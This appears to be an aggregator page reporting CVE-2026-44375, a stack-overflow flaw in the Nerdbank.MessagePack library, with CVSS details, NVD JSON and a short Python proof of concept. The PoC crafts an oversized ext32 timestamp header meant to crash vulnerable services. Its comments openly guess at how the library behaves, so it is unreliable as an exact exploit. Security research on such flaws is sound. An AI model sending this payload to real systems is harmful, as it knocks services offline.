Security Vulnerability Report
中文
CVE-2026-44375 CVSS 7.5 HIGH

CVE-2026-44375

Published: 2026-05-14 15:16:48
Last Modified: 2026-05-14 18:19:25

Description

Nerdbank.MessagePack is a NativeAOT-compatible MessagePack serialization library. Prior to 1.1.62, Nerdbank.MessagePack contains an uncontrolled stack allocation vulnerability in DateTime decoding. A malicious MessagePack payload can declare an oversized timestamp extension length, causing the reader to allocate an attacker-controlled number of bytes on the stack. This can trigger a StackOverflowException, which is not catchable by user code and terminates the process. This vulnerability is fixed in 1.1.62.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Nerdbank.MessagePack < 1.1.62

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-44375 # This script generates a malicious MessagePack payload to trigger the stack overflow. # Vulnerability: Uncontrolled stack allocation in DateTime decoding. def generate_exploit_payload(): # MessagePack timestamp extension type is -1 (0xFF) # We need to craft a header that tells the decoder to allocate a huge size. # Format spec for fixext8/ext8/ext16/ext32 usually defines size. # Assuming the library reads a length byte/short/int and allocates it blindly. # Example: Using ext8 format (0xC7) with max length 255, or ext32 (0xC9) for huge size. # Let's try to construct an ext32 header with a large length (e.g., 0xFFFFFFFF or large enough to crash). ext_type = 0xFF # Timestamp type malicious_length = 0x00FFFFFF # Large length (approx 16MB, enough to blow stack) # Format: 0xC9 (ext32), Length (4 bytes big-endian), Type (1 byte), Data (Length bytes) header = struct.pack('>BIB', 0xC9, malicious_length, ext_type) # The actual data content doesn't matter much, just the header triggers the allocation. # We pad it to avoid read errors if the library checks existence of data, # but usually the allocation happens before the read or immediately after. payload = header + b'A' * 100 return payload if __name__ == "__main__": payload = generate_exploit_payload() print(f"Generated malicious payload (length: {len(payload)}): {payload.hex()}") print("Send this payload to a vulnerable Nerdbank.MessagePack listener.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44375", "sourceIdentifier": "[email protected]", "published": "2026-05-14T15:16:48.383", "lastModified": "2026-05-14T18:19:25.260", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nerdbank.MessagePack is a NativeAOT-compatible MessagePack serialization library. Prior to 1.1.62, Nerdbank.MessagePack contains an uncontrolled stack allocation vulnerability in DateTime decoding. A malicious MessagePack payload can declare an oversized timestamp extension length, causing the reader to allocate an attacker-controlled number of bytes on the stack. This can trigger a StackOverflowException, which is not catchable by user code and terminates the process. This vulnerability is fixed in 1.1.62."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}], "references": [{"url": "https://github.com/AArnott/Nerdbank.MessagePack/commit/7d1eb319cfabe7280e70699946c9a48579fa2f30", "source": "[email protected]"}, {"url": "https://github.com/AArnott/Nerdbank.MessagePack/pull/941", "source": "[email protected]"}, {"url": "https://github.com/AArnott/Nerdbank.MessagePack/releases/tag/v1.1.62", "source": "[email protected]"}, {"url": "https://github.com/AArnott/Nerdbank.MessagePack/security/advisories/GHSA-2cwq-pwfr-wcw3", "source": "[email protected]"}]}}